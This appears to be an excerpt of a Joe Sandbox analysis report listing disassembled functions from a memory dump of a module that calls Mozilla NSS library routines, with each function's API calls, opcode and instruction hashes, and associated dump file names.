PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C7E1EAB
PR_GetCurrentThread.NSS3 ref: 6C7E1ED0
PR_Unlock.NSS3(?), ref: 6C7E1EE8

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 392419fcd18236efd2f7c693c10371cb27a12d0beb128cdc453debcde1716a39
Instruction ID: 11f56dff905de766a985015c511f617f24f63544d65125f7a34ec6cc6a9a689c
Opcode Fuzzy Hash: 392419fcd18236efd2f7c693c10371cb27a12d0beb128cdc453debcde1716a39
Instruction Fuzzy Hash: 4E21D376B046129FD710CF29DA45A46B7B8FF4871AB258225E8199BB42D730FC10CBD1

Function 6C72BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C6DE708,00000000,00000000,00000004,00000000), ref: 6C72BE6A

Part of subcall function 6C730840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7308B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6E04DC,?), ref: 6C72BE7E

Part of subcall function 6C72FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C728D2D,?,00000000,?), ref: 6C72FB85
Part of subcall function 6C72FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C72FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C72BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6E04DC,?,?), ref: 6C72BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C72BEEB

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 95dc463bd9978d561923f78015abda286bfc2a393623854cdc9a1032a877d937
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: F3115776A0422567E7208965AF88F5B736DEB40758F084135FE06C3B56E739F80487F1

Function 6C6DAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C6D3FFF,00000000,?,?,?,?,?,6C6D1A1C,00000000,00000000), ref: 6C6DADA7

Part of subcall function 6C7314C0: TlsGetValue.KERNEL32 ref: 6C7314E0
Part of subcall function 6C7314C0: EnterCriticalSection.KERNEL32 ref: 6C7314F5
Part of subcall function 6C7314C0: PR_Unlock.NSS3 ref: 6C73150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C6D3FFF,00000000,?,?,?,?,?,6C6D1A1C,00000000,00000000), ref: 6C6DADB4

Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C7310F3
Part of subcall function 6C7310C0: EnterCriticalSection.KERNEL32(?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73110C
Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731141
Part of subcall function 6C7310C0: PR_Unlock.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731182
Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C6D3FFF,?,?,?,?,6C6D3FFF,00000000,?,?,?,?,?,6C6D1A1C,00000000), ref: 6C6DADD5

Part of subcall function 6C72FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C728D2D,?,00000000,?), ref: 6C72FB85
Part of subcall function 6C72FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C72FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7F94B0,?,?,?,?,?,?,?,?,6C6D3FFF,00000000,?), ref: 6C6DADEC

Part of subcall function 6C72B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8018D0,?), ref: 6C72B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6D3FFF), ref: 6C6DAE3C

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 9c1380344e1b8414f33f65495780603e88ece2eefb44081c4754fdf09550c49d
Instruction ID: a581703ab7f422adb6ddd6d9605942762497c2caedd4730249a22f27f40bf2ad
Opcode Fuzzy Hash: 9c1380344e1b8414f33f65495780603e88ece2eefb44081c4754fdf09550c49d
Instruction Fuzzy Hash: 67117832E003156BE7109B699D48BBF73E8DF9124DF04422CEC5986742FB20F959C2EA

Function 6C6E8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C6F0710), ref: 6C6E8FF1
PR_CallOnce.NSS3(6C832158,6C6E9150,00000000,?,?,?,6C6E9138,?,6C6F0710), ref: 6C6E9029
calloc.MOZGLUE(00000001,00000000,?,?,6C6F0710), ref: 6C6E904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C6F0710), ref: 6C6E9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C6F0710), ref: 6C6E9078

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 8ddd25f1c5097c208b9627d4639508bb85bf4c48e6c407591a639e933c944356
Instruction ID: ff61c9b469c126c75c02b39f869904544106088e30c0749bace593475e0aafc6
Opcode Fuzzy Hash: 8ddd25f1c5097c208b9627d4639508bb85bf4c48e6c407591a639e933c944356
Instruction Fuzzy Hash: 0711086170A11157E73016ADAC08AFA72ACDF8A7ACF90053AFC48C6B41F756CD55C3E9

Function 6C6FCD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C711E10: TlsGetValue.KERNEL32 ref: 6C711E36
Part of subcall function 6C711E10: EnterCriticalSection.KERNEL32(?,?,?,6C6EB1EE,2404110F,?,?), ref: 6C711E4B
Part of subcall function 6C711E10: PR_Unlock.NSS3 ref: 6C711E76

free.MOZGLUE(?,6C6FD079,00000000,00000001), ref: 6C6FCDA5
PK11_FreeSymKey.NSS3(?,6C6FD079,00000000,00000001), ref: 6C6FCDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C6FD079,00000000,00000001), ref: 6C6FCDCF
DeleteCriticalSection.KERNEL32(?,6C6FD079,00000000,00000001), ref: 6C6FCDE2
free.MOZGLUE(?), ref: 6C6FCDE9

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 3bd15306d246142c7fe495d748851e986ee36b13e35b9d1d4728ab0c3374e61a
Instruction ID: 159eb8538fdbe5487c149e3ba15fa631bc0e723c561b3ce8a2890ab23aebbf12
Opcode Fuzzy Hash: 3bd15306d246142c7fe495d748851e986ee36b13e35b9d1d4728ab0c3374e61a
Instruction Fuzzy Hash: CC11E0B2B00111BBEB10AA65EC4999AB76EBF043687044131E92A87E01E732E425C7E0

Function 6C733D90 Relevance: 7.6, APIs: 5, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6C7338A2), ref: 6C733DB0
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6C7338A2), ref: 6C733DBF

Part of subcall function 6C730BE0: malloc.MOZGLUE(6C728D2D,?,00000000,?), ref: 6C730BF8
Part of subcall function 6C730BE0: TlsGetValue.KERNEL32(6C728D2D,?,00000000,?), ref: 6C730C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6C7338A2), ref: 6C733DD9
_wstat64i32.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,000000FF,?,000000FF,00000000,00000000,6C7338A2), ref: 6C733DE7
free.MOZGLUE(00000000,?,000000FF,00000000,00000000,6C7338A2), ref: 6C733DF8

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValue_wstat64i32freemalloc
String ID:
API String ID: 1642359729-0
Opcode ID: c56509dae5fb3017bb6458412cde5f5ba0e5157e33d8be75b50aca37c48b04c0
Instruction ID: 97afe9a2702ab0a1f0d41782be1cea7feeb3031e45585351192480db205f9182
Opcode Fuzzy Hash: c56509dae5fb3017bb6458412cde5f5ba0e5157e33d8be75b50aca37c48b04c0
Instruction Fuzzy Hash: DE01F2B97051227BFB3056766D0AE3B396CDB416A8B140235FD29DA6C2EA21CC01C2F2

Function 6C762CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C765B40: PR_GetIdentitiesLayer.NSS3 ref: 6C765B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C762CEC

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

PR_EnterMonitor.NSS3(?), ref: 6C762D02
PR_EnterMonitor.NSS3(?), ref: 6C762D1F
PR_ExitMonitor.NSS3(?), ref: 6C762D42
PR_ExitMonitor.NSS3(?), ref: 6C762D5B

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 3a8f9f15e49eaf4b91ea64548164a49404b00e822c3b4f6069f19fd1cb5920f8
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 430104B1A406005FEB709E2AFD49BC7B3A1EF55318F004535EC6D86B22E332F8198792

Function 6C762D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C765B40: PR_GetIdentitiesLayer.NSS3 ref: 6C765B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C762D9C

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

PR_EnterMonitor.NSS3(?), ref: 6C762DB2
PR_EnterMonitor.NSS3(?), ref: 6C762DCF
PR_ExitMonitor.NSS3(?), ref: 6C762DF2
PR_ExitMonitor.NSS3(?), ref: 6C762E0B

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: b8b10c9805f262ee3ee528c5479e7f65357813a8ffb63fb29df154b7d7fadf79
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 1401A5B1A402045FEA719E2AFD0DBC7B7A5EB51318F044435EC5D86F12D732E4258692

Function 6C6FAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6FAE42), ref: 6C6E30AA
Part of subcall function 6C6E3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6E30C7
Part of subcall function 6C6E3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6E30E5
Part of subcall function 6C6E3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6E3116
Part of subcall function 6C6E3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6E312B
Part of subcall function 6C6E3090: PK11_DestroyObject.NSS3(?,?), ref: 6C6E3154
Part of subcall function 6C6E3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6E317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C6D99FF,?,?,?,?,?,?,?,?,?,6C6D2D6B,?), ref: 6C6FAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C6D99FF,?,?,?,?,?,?,?,?,?,6C6D2D6B,?), ref: 6C6FAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6D2D6B,?,?,00000000), ref: 6C6FAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C6D2D6B,?,?,00000000), ref: 6C6FAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C6D2D6B,?,?), ref: 6C6FAEA3

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: b6814994413415291b20faa99864a6957fea426390f997f1992157e8b885632f
Instruction ID: 432849e5c3185cd312df005a8623b2b6ff4c25962aaf64510eba7158b842c875
Opcode Fuzzy Hash: b6814994413415291b20faa99864a6957fea426390f997f1992157e8b885632f
Instruction Fuzzy Hash: 97012862B0412057E701912CAC86AEF326B8B8BA5CF080132E925C7B43F615C90752EF

Function 6C7EBDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C7E7AFE,?,?,?,?,?,?,?,?,6C7E798A), ref: 6C7EBDC3
free.MOZGLUE(?,?,6C7E7AFE,?,?,?,?,?,?,?,?,6C7E798A), ref: 6C7EBDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C7E7AFE,?,?,?,?,?,?,?,?,6C7E798A), ref: 6C7EBDE9
free.MOZGLUE(?,00000000,00000000,?,6C7E7AFE,?,?,?,?,?,?,?,?,6C7E798A), ref: 6C7EBE21
free.MOZGLUE(00000000,00000000,?,6C7E7AFE,?,?,?,?,?,?,?,?,6C7E798A), ref: 6C7EBE32

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 804c225c008294845de80cb3c3a062a9b66e1e330a9a65d64455839c2119676e
Instruction ID: 2c5b8ea796e091c18b46dc487eda0b52cacbd1be99221382ea52b224a5617586
Opcode Fuzzy Hash: 804c225c008294845de80cb3c3a062a9b66e1e330a9a65d64455839c2119676e
Instruction Fuzzy Hash: DE11D4B5B012009FDB30DFA9D96AA023BB5BB4A258B441879D50E87612D73DA418CBD5

Function 6C733E10 Relevance: 7.5, APIs: 5, Instructions: 45memoryfileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,-00000001,?,00000000,?,6C733975), ref: 6C733E29
PORT_Alloc_Util.NSS3(00000000,?,00000000,?,6C733975), ref: 6C733E38

Part of subcall function 6C730BE0: malloc.MOZGLUE(6C728D2D,?,00000000,?), ref: 6C730BF8
Part of subcall function 6C730BE0: TlsGetValue.KERNEL32(6C728D2D,?,00000000,?), ref: 6C730C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,6C733975), ref: 6C733E52
DeleteFileW.KERNEL32(00000000), ref: 6C733E5D
free.MOZGLUE(00000000), ref: 6C733E64

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_DeleteFileUtilValuefreemalloc
String ID:
API String ID: 3873820591-0
Opcode ID: f48733d9e9b4010a651c99a46fa488e2505a5fe51af3dd4e75343dfd4b198a99
Instruction ID: 81da3514e7594ed0a5f9d7f26d56233d87f02e851636a748515543c791444499
Opcode Fuzzy Hash: f48733d9e9b4010a651c99a46fa488e2505a5fe51af3dd4e75343dfd4b198a99
Instruction Fuzzy Hash: 09F0B4B13461123BFA2022B95D0DE37355CCB429B9B140234BE2DD55C3E954CC0183F1

Function 6C7E7C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C7E7C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7E7C83
malloc.MOZGLUE(00000001), ref: 6C7E7C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C7E7C9F
PR_GetCurrentThread.NSS3 ref: 6C7E7CAD

Part of subcall function 6C799BF0: TlsGetValue.KERNEL32(?,?,?,6C7E0A75), ref: 6C799C07

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 43219473c58bada3cef313121e00a1dc19c8d9414538681c024555e3eeef6340
Instruction ID: d2d9ed308e75b5ab232cd74caaa270b0825cb96aa9c231deca5cd32e55bb9885
Opcode Fuzzy Hash: 43219473c58bada3cef313121e00a1dc19c8d9414538681c024555e3eeef6340
Instruction Fuzzy Hash: 70F0F6F29102066FEB009F3AAE0D957775CEF09269B018835EC0DC7B11E734E114CAE5

Function 6C7EADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C7EA6D8), ref: 6C7EAE0D
free.MOZGLUE(?), ref: 6C7EAE14
DeleteCriticalSection.KERNEL32(6C7EA6D8), ref: 6C7EAE36
free.MOZGLUE(?), ref: 6C7EAE3D
free.MOZGLUE(00000000,00000000,?,?,6C7EA6D8), ref: 6C7EAE47

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 4a2a33f9d27ae44b612348d229dcb95bab224200c24e94ed28b27c87eacf15e1
Instruction ID: c0ff6f189f7070b70c5fca29534b9ca0b0e7e9f24c454aac7a119aaa870412ed
Opcode Fuzzy Hash: 4a2a33f9d27ae44b612348d229dcb95bab224200c24e94ed28b27c87eacf15e1
Instruction Fuzzy Hash: 79F0F6B6201A01A7DE209F68D80E9277B7CBF8A7787104338E12A83941D735E011C7D1

